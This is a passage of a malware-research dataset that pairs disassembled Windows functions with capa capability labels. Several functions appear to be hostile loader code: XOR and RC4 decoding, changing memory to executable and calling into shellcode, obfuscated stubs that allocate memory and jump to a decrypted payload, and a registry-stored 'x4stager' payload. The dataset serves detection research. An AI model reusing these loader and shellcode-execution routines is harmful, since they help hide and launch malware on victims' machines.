joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40238f
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x20c
mov eax, dword [0x42d040]
xor eax, esp
mov dword [esp + 0x208], eax
mov eax, dword [esp + 0x210]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x224]
mov ebp, pe_nt_image_headers32
push edi
xor edi, edi
mov dword [esp + 0x14], eax
mov ecx, edi
mov eax, ecx
mov byte [esp + ecx + 0x18], cl
cdq
idiv dword [esp + 0x22c]
mov al, byte [edx + esi]
mov byte [esp + ecx + 0x118], al
inc ecx
cmp ecx, ebp
jl 0x4023c2
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x18]
movzx eax, byte [esp + esi + 0x118]
add ebx, eax
movzx ecx, dl
add ebx, ecx
and ebx, 0x800000ff
jns 0x402406
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + ebx + 0x18], dl
cmp esi, ebp
jl 0x4023e3
mov ebx, edi
mov ebp, edi
cmp dword [esp + 0x224], ebx
jle 0x4024b7
inc edi
and edi, 0x800000ff
jns 0x402439
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [esp + edi + 0x18]
movzx esi, cl
add ebx, esi
and ebx, 0x800000ff
jns 0x402452
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x18]
sub esp, 0x10
movaps xmm0, xmmword [0x423400]
mov byte [esp + edi + 0x28], al
mov byte [esp + ebx + 0x28], cl
movups xmmword [esp], xmm0
call fcn.0040aa10
add esp, 0xc
mov ecx, 0x42e098
fstp dword [esp + 0x14]
movss xmm0, dword [esp + 0x14]
movss dword [esp], xmm0
call fcn.00402081
push eax
call fcn.004019ae
movzx eax, byte [esp + edi + 0x1c]
add eax, esi
pop ecx
mov ecx, dword [esp + 0x14]
movzx eax, al
mov al, byte [esp + eax + 0x18]
xor byte [ecx + ebp], al
inc ebp
cmp ebp, dword [esp + 0x224]
jl 0x402428
mov ecx, dword [esp + 0x218]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040616c
add esp, 0x20c
ret

Function at 0x403087
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
push edi
mov edi, dword [esp + 0xc]
cmp dword [esp + 0x10], esi
jbe 0x4030c4
mov al, byte [edi + esi]
xor al, 0x73
sub al, 0x15
push 0
mov byte [edi + esi], al
call dword [sym.imp.USER32.DLL_OpenIcon]
mov al, byte [edi + esi]
sub al, 0x57
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [edi + esi], al
inc esi
cmp esi, dword [esp + 0x10]
jb 0x403095
pop edi
pop esi
ret

Function at 0x403d2f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push esi
push edi
push eax
push 0x40
mov edi, 0x4ac
mov esi, 0x47e428
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
push edi
push esi
call fcn.00403087
pop ecx
pop ecx
call fcn.0040306d
mov edx, 0x47e428
add edx, 0x188
mov esi, 0x42f028
push esi
call edx
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x421bb0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x421bdd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x421bdd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43301e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x407352
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
xor eax, eax
mov edx, eax
push esi
mov esi, dword [ebp + 8]
and ecx, 0xfffffffc
jbe 0x407396
rol eax, 5
xor eax, dword [edx + esi]
add edx, 4
imul eax, eax, 0x9e3779b9
rol eax, 5
xor eax, 4
imul eax, eax, 0x9e3779b9
cmp edx, ecx
jb 0x407365
jmp 0x407396
movsx ecx, byte [edx + esi]
rol eax, 5
xor eax, ecx
imul eax, eax, 0x9e3779b9
inc edx
cmp edx, dword [ebp + 0xc]
jb 0x407386
pop esi
pop ebp
ret

Function at 0x407e24
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 1
lea esi, [ebx - 1]
push 0x2000
not esi
push ebx
and esi, 0xf0deafff
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
cmp edi, esi
jne 0x407e59
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp esi, dword [ebp - 0x18]
jb 0x407e83
lea eax, [esi + ebx]
cmp eax, dword [ebp - 0x18]
jb 0x407e83
test edi, edi
je 0x407e50
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x407e50
test edi, edi
je 0x407e8b
mov eax, edi
jmp 0x407e52
push 1
push 0x2000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x407e52
int3
Function at 0x40a3b5
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 8]
push eax
mov dword [sym.TestArguments.exe_gMozillaPoisonSize], eax
call fcn.00407e24
pop ecx
mov ecx, dword [sym.TestArguments.exe_gMozillaPoisonSize]
mov dword [sym.TestArguments.exe_gMozillaPoisonBase], eax
test ecx, ecx
je 0x40a3ed
shr ecx, 1
dec ecx
add eax, ecx
mov dword [sym.TestArguments.exe_gMozillaPoisonValue], eax
mov esp, ebp
pop ebp
ret
Function at 0x100c8a78
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x100c8a87
pop dword [ebp - 0x14]
mov eax, 0x50754fce
add eax, 0xbf973ab9
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x978fc6e
sub dword [ebp - 0x24], 0xbb26b723
mov dword [ebp - 0x20], 0x6fe3104e
sub dword [ebp - 0x20], 0x3dafc409
mov dword [ebp - 0x1c], 0xb6135bfc
sub dword [ebp - 0x1c], 0x69c717ce
mov dword [ebp - 0x18], 0x5ac86e87
sub dword [ebp - 0x18], 0x5ac86e87
lea eax, [ebp - 0x24]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xbdca48ac
add dword [ebp - 0x24], 0xb6a820aa
mov dword [ebp - 0x20], 0x3d925673
sub dword [ebp - 0x20], 0xfc25f4fe
mov dword [ebp - 0x1c], 0x967c2dea
sub dword [ebp - 0x1c], 0x330cc17e
mov dword [ebp - 0x18], 0x113f5d0a
add dword [ebp - 0x18], 0xeec0a2f6
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0xcaaeb900
sub eax, 0xbaa027b0
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x83df7
push 0
call eax
mov ecx, 0x42fc
mov edx, eax
mov ebx, 0x879c7e87
sub ebx, 0x77846a87
add ebx, dword [ebp - 0x14]
mov esi, 0xf5422061
add esi, 0x4539c729
sub dword [ebp - 8], ebx
mov edi, dword [ebx]
mov dword [ebp - 4], 0xc3d5f77e
xor edi, esi
sub dword [ebp - 4], 0x7a017837
mov dword [edx], edi
xor dword [ebp - 0xc], ebx
add edx, 0x27824f91
sub edx, 0x27824f8d
add ebx, 4
loop 0x100c8b9e
add eax, 0x141cafdc
sub eax, 0x141bb119
xor ebx, ebx
add ebx, eax
add eax, 0xe5b13c49
add eax, 0x1a4ec3bc
mov ecx, 0x69b474d4
add ecx, 0xa64b8b2c
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x10016470
Capabilities:
Set console window title

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x1086c040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_AllocConsole]
mov bh, 0xd
mov byte [ebp - 8], 0
mov cl, 0x42
mov byte [ebp - 0x10], bh
mov bl, cl
mov byte [ebp - 8], 0
mov al, 0x4e
mov dl, 0x43
mov ah, 0x58
mov ch, 0x59
mov dh, 0x29
xor al, bh
xor cl, bh
mov byte [ebp - 0xf], al
xor dl, bh
mov byte [ebp - 0xe], cl
xor ah, bh
mov byte [ebp - 0xd], dl
xor ch, bh
mov byte [ebp - 0xb], ah
xor dh, bh
mov byte [ebp - 0xa], ch
xor bl, bh
mov byte [ebp - 9], dh
push 1
mov byte [ebp - 0xc], bl
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
push eax
lea eax, [ebp - 0xf]
push 0x10028258
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov esi, eax
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowRect]
push 1
push 0x320
push 0x1f4
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push esi
call dword [sym.imp.USER32.dll_MoveWindow]
push 0x1002825c
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.1001b32c
mov esp, ebp
pop ebp
ret

Function at 0x10016530
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001c287
mov eax, dword fs:[0]
push eax
sub esp, 0x418
mov eax, dword [0x1086c040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x414], edi
mov eax, dword [ebp + 8]
xorps xmm0, xmm0
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x424], edi
mov dword [ebp - 0x420], 0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
lea ecx, [ebp - 0x41c]
mov dword [ebp - 4], 0
push ecx
push 0xf003f
push 0
push eax
push 0x80000001
mov dword [ebp - 0x420], 1
mov dword [ebp - 0x414], 0x400
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x418]
push eax
push 0
push esi
push dword [ebp - 0x41c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x41c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x410]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10016610
sub ecx, edx
lea eax, [ebp - 0x410]
push ecx
push eax
mov ecx, edi
call fcn.1001aa60
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001b32c
mov esp, ebp
pop ebp
ret
Function at 0x10016ed0
Capabilities:
Delete registry value
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8018
call fcn.1001c220
mov eax, dword [0x1086c040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_UnloadKeyboardLayout]
test eax, eax
je 0x10016feb
lea eax, [ebp - 0x8018]
mov dword [ebp - 0x8018], 0
push eax
push 0xf003f
push 0
push str.Keyboard_LayoutPreload
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10016feb
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x8008]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push dword [ebp - 0x8018]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
jne 0x10016fdf
xor esi, esi
cmp dword [ebp - 0x8008], esi
jbe 0x10016fdf
mov ebx, dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtoul]
nop word [eax + eax]
lea eax, [ebp - 0x800c]
mov dword [ebp - 0x8010], 0x4000
push eax
lea eax, [ebp - 0x4004]
mov dword [ebp - 0x800c], 0x4000
push eax
lea eax, [ebp - 0x8014]
push eax
push 0
lea eax, [ebp - 0x8010]
push eax
lea eax, [ebp - 0x8004]
push eax
push esi
push dword [ebp - 0x8018]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x10016fd6
cmp dword [ebp - 0x8014], 1
jne 0x10016fd6
push 0x10
push eax
lea eax, [ebp - 0x4004]
push eax
call ebx
add esp, 0xc
cmp eax, edi
je 0x10017000
inc esi
cmp esi, dword [ebp - 0x8008]
jb 0x10016f70
push dword [ebp - 0x8018]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001b32c
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x8004]
push eax
push dword [ebp - 0x8018]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 0x8018]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001b32c
mov esp, ebp
pop ebp
ret 4
Function at 0x10017040
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov edi, edx
mov byte [ebp - 0x10], 2
mov al, 0x77
xor al, byte [ebp - 0x10]
mov cl, 0x71
xor cl, byte [ebp - 0x10]
mov ah, 0x70
mov byte [ebp - 0xf], al
mov ch, 0x31
mov byte [ebp - 0xe], cl
mov bl, 0x67
mov cl, byte [ebp - 0x10]
mov bh, 0x30
mov byte [ebp - 1], 0x6e
xor ah, cl
mov al, byte [ebp - 1]
xor bl, cl
xor al, cl
mov byte [ebp - 2], 0x6e
mov byte [ebp - 7], al
xor ch, cl
mov al, byte [ebp - 2]
xor bh, cl
mov byte [ebp - 0xc], ah
xor al, cl
mov byte [ebp - 5], 0
mov dl, 0x2c
mov byte [ebp - 6], al
mov dh, 0x66
mov byte [ebp - 0xd], bl
lea eax, [ebp - 0xf]
mov byte [ebp - 0xb], ch
xor dl, cl
mov byte [ebp - 0xa], bh
xor dh, cl
mov byte [ebp - 9], dl
push eax
mov byte [ebp - 8], dh
mov byte [ebp - 5], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
test edx, edx
je 0x1001711e
movaps xmm0, xmmword [0x10861950]
xor eax, eax
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x46737268
mov byte [ebp - 0x14], 0
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0x13
jb 0x100170d4
lea eax, [ebp - 0x27]
mov byte [ebp - 0x14], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
call fcn.100163c0
push 0
push 0xc8
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push edi
call esi
test eax, eax
je 0x1001711e
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10017790
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x1086c040]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 0x138], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x134], 0x128
lea eax, [ebp - 0x134]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x10017804
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
push dword [ebp - 0x138]
lea eax, [ebp - 0x110]
push eax
call edi
test eax, eax
je 0x10017820
lea eax, [ebp - 0x134]
push eax
push esi
call ebx
test eax, eax
jne 0x100177e3
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1001b32c
mov esp, ebp
pop ebp
ret 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x12c]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.1001b32c
mov esp, ebp
pop ebp
ret 4
Function at 0x4017a5
Capabilities:
Extract resource via kernel32 functions
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push 0x4021bc
push 0x65
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x401862
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test edi, edi
je 0x401861
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x401861
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0xf013f
push ebx
push 0x4021c0
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401861
push edi
push esi
push 3
push ebx
push str.x4stager
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x401861
call fcn.00401868
mov ebx, str.x4svc32
mov esi, eax
mov ecx, ebx
call fcn.00401674
mov edi, str.x4svc64
mov ecx, edi
call fcn.00401674
call fcn.0040112f
test eax, eax
push esi
cmove edi, ebx
push ecx
mov ecx, edi
call fcn.004011ad
pop ecx
pop ecx
test eax, eax
je 0x401861
mov ecx, edi
call fcn.0040151a
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
Function at 0x2b0010be
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x2b0010cd
pop dword [ebp - 0xc]
mov eax, 0x2b0010cd
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x6c2237ed
sub dword [ebp - 0x1c], 0x1dcff2a2
mov dword [ebp - 0x18], 0xbc745801
add dword [ebp - 0x18], 0x75bef444
mov dword [ebp - 0x14], 0x74cffa77
sub dword [ebp - 0x14], 0x2883b649
mov dword [ebp - 0x10], 0xc4377d48
add dword [ebp - 0x10], 0x3bc882b8
lea eax, [ebp - 0x1c]
push eax
mov eax, 0xeb6e4d6e
add eax, 0x3f94b316
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x75be675c
add dword [ebp - 0x1c], 0xfeb401fa
mov dword [ebp - 0x18], 0xfdf93e18
add dword [ebp - 0x18], 0x4373235d
mov dword [ebp - 0x14], 0x33eca4b4
sub dword [ebp - 0x14], 0xd07d3848
mov dword [ebp - 0x10], 0xbfefcf2f
add dword [ebp - 0x10], 0x401030d1
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x56de45fc
add eax, 0xd424ba94
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x44847
push 0
call eax
mov ecx, 0xc9c83c6d
sub ecx, 0xc9c7edf6
xor ebx, ebx
add ebx, eax
mov edi, 0xe51fcd6f
add edi, 0x45e4e091
add edi, dword [ebp - 0xc]
mov edx, 0xd3cf8556
sub edx, 0x2f224537
xor dword [ebp - 8], ebx
mov esi, dword [edi]
xor esi, edx
xor dword [ebp - 8], 0xa72ba7e4
mov dword [ebx], esi
add dword [ebp - 8], 0x88d1e978
add ebx, 4
add edi, 4
loop 0x2b0011ec
add eax, 0x27cd858
sub eax, 0x27baba9
mov ebx, eax
add eax, 0x43e2b50c
add eax, 0xbc1d4af9
mov ecx, 0xc21ca6cd
sub ecx, 0x971ca6cd
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x2b001859
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x2b03bee0]
jne 0x2b001863
repz ret
jmp fcn.2b02c235

Function at 0x2b004abc
Capabilities:
Create thread

Disassembly:
push esi
push 0
push 0
mov esi, ecx
push esi
push 0x2b004ae4
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
mov dword [esi + 0x28], eax
test eax, eax
jne 0x2b004ae2
mov ecx, esi
pop esi
jmp fcn.2b004af5
pop esi
ret
Function at 0x3f323037
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x3f323046
pop dword [ebp - 0x24]
mov eax, 0x97ae78a
sub eax, 0xca48b744
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x43e1f
push 0
mov eax, 0x60c733e6
sub eax, 0x21b72286
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0x45bf
mov ebx, eax
mov edx, 0x6b45e0c9
sub edx, 0x2c05b0c9
add edx, dword [ebp - 0x24]
mov edi, 0x32546590
sub edi, 0xd5f1ff52
mov esi, dword [edx]
xor dword [ebp - 0x10], ebx
sub esi, edi
xor dword [ebp - 0x18], eax
mov dword [ebx], esi
xor dword [ebp - 0x10], ecx
add ebx, 4
add edx, 4
loop 0x3f32309f
add eax, 0xc34a8f95
sub eax, 0xc34985c6
xor ebx, ebx
add ebx, eax
add eax, 0xbcfc12df
sub eax, 0xbcfc12da
mov ecx, 0xe8f55f57
sub ecx, 0xa9e55f57
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x3f3845bf
Capabilities:
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x6c]
sub esp, 0x110
push esi
push edi
push dword [ebp + 0x7c]
xor esi, esi
push dword [ebp + 0x78]
mov dword [ebp + 0x64], ecx
mov dword [ebp + 0x68], esi
call fcn.3f323037
mov edi, eax
cmp edi, esi
je 0x3f384696
push 0x80
lea eax, [ebp - 0x20]
push eax
push 0xc
push dword [0x3f3a32c0]
call dword [sym.imp.user32.dll_LoadStringA]
test eax, eax
jle 0x3f38468f
mov ecx, dword [ebp + 0x64]
push ebx
push dword [ebp + 0x78]
call fcn.3f38958d
push esi
push esi
mov ebx, eax
push 0x81
lea eax, [ebp - 0xa4]
push eax
push ebx
call fcn.3f390cad
pop ecx
inc eax
push eax
push ebx
push esi
push esi
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
lea eax, [ebp - 0xa4]
push eax
call dword [sym.imp.kernel32.dll_lstrlenA]
push eax
lea eax, [ebp - 0xa4]
push eax
push 1
push esi
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
pop ebx
jne 0x3f38468f
push 0x80
lea eax, [ebp - 0x20]
push eax
push 0xd
push dword [0x3f3a32c0]
call dword [sym.imp.user32.dll_LoadStringA]
test eax, eax
jle 0x3f38468f
mov ecx, dword [ebp + 0x64]
lea eax, [ebp - 0x20]
push eax
push edi
push dword [ebp + 0x78]
push dword [ebp + 0x74]
call fcn.3f323037
mov dword [ebp + 0x68], eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp + 0x68]
pop edi
pop esi
add ebp, 0x6c
leave
ret 0xc

Function at 0x3f38a12e
Capabilities:
Parse credit card information

Disassembly:
mov edx, dword [esp + 8]
mov eax, dword [esp + 4]
add edx, edx
add eax, edx
mov cx, word [eax]
inc eax
push ebx
mov ebx, dword [esp + 0x10]
inc eax
cmp cx, 0x3e
push esi
mov esi, dword [ebx]
je 0x3f38a153
cmp cx, 0x7d
jne 0x3f38a162
dec esi
jne 0x3f38a15d
xor eax, eax
jmp 0x3f38a1fd
mov cx, word [eax]
inc eax
inc eax
cmp cx, 0x3a
je 0x3f38a17a
cmp cx, 0x3b
je 0x3f38a17a
cmp cx, 0x38
je 0x3f38a17a
cmp cx, 0x25
jne 0x3f38a156
dec esi
je 0x3f38a156
mov cx, word [eax]
inc eax
inc eax
cmp cx, 0x2d
je 0x3f38a18e
cmp cx, 0x5e
jne 0x3f38a198
dec esi
test esi, esi
je 0x3f38a156
mov cx, word [eax]
inc eax
inc eax
cmp cx, 0x28
je 0x3f38a1f0
cmp cx, 0x3e
je 0x3f38a1f0
cmp cx, 0x44
je 0x3f38a1f0
cmp cx, 0x49
je 0x3f38a1f0
cmp cx, 0x4f
je 0x3f38a1f0
cmp cx, 0x6f
je 0x3f38a1f0
cmp cx, 0x5c
je 0x3f38a1f0
cmp cx, 0x2f
je 0x3f38a1f0
cmp cx, 0x7c
je 0x3f38a1f0
cmp cx, 0x30
jne 0x3f38a1db
cmp word [eax - 4], 0x38
jne 0x3f38a1f0
cmp cx, 0x29
jne 0x3f38a156
cmp word [eax - 4], 0x38
je 0x3f38a156
sub eax, edx
sub eax, dword [esp + 0xc]
sar eax, 1
mov dword [ebx], eax
xor eax, eax
inc eax
pop esi
pop ebx
ret 0xc
Function at 0x3f38cf7e
Capabilities:
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x64]
sub esp, 0x200
push ebx
push esi
push edi
push 0x80
lea eax, [ebp - 0x9c]
push eax
push dword [ebp + 0x6c]
call dword [sym.imp.ole32.dll_StringFromGUID2]
xor ebx, ebx
push ebx
push ebx
push 0x40
lea eax, [ebp - 0x1c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x9c]
push eax
push ebx
push ebx
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
mov esi, 0x3f2ff05c
lea edi, [ebp + 0x24]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x1c]
movsb byte es:[edi], byte [esi]
mov edx, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x3f38cfcd
lea edi, [ebp + 0x24]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x3f38cfda
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 0x74]
cmp edi, ebx
mov esi, 0x3f2ff054
je 0x3f38d015
push dword [ebp + 0x70]
mov eax, edi
push ebx
call fcn.3f323037
lea eax, [ebp - 0x1c]
push eax
push esi
mov eax, edi
call fcn.3f323037
mov eax, dword [ebp + 0x78]
cmp eax, ebx
je 0x3f38d040
push dword [ebp + 0x70]
push ebx
call fcn.3f323037
mov eax, dword [ebp + 0x78]
push edi
push 0x3f2ff04c
call fcn.3f323037
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp + 0x78]
push esi
call fcn.3f323037
push dword [ebp + 0x70]
lea eax, [ebp + 0x24]
push ebx
call fcn.3f323037
cmp edi, ebx
je 0x3f38d05e
push edi
push 0x3f2ff044
lea eax, [ebp + 0x24]
call fcn.3f323037
cmp dword [ebp + 0x78], ebx
je 0x3f38d073
push dword [ebp + 0x78]
lea eax, [ebp + 0x24]
push 0x3f2ff028
call fcn.3f323037
push ebx
push 0x3f2ff018
lea eax, [ebp + 0x24]
call fcn.3f323037
push dword [ebp + 0x7c]
mov esi, 0x3f2ff008
push esi
lea eax, [ebp + 0x24]
call fcn.3f323037
push esi
lea eax, [ebp + 0x24]
push eax
lea eax, [ebp - 0x19c]
push 0x3f2ff000
push eax
call fcn.3f323037
add esp, 0x10
push ebx
lea eax, [ebp + 0x78]
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
lea eax, [ebp - 0x19c]
push eax
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x3f38d0ff
mov esi, 0x3f2feff4
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x3f38d0d9
sub eax, edx
inc eax
push eax
push esi
push 1
push ebx
push 0x3f2fefe4
push dword [ebp + 0x78]
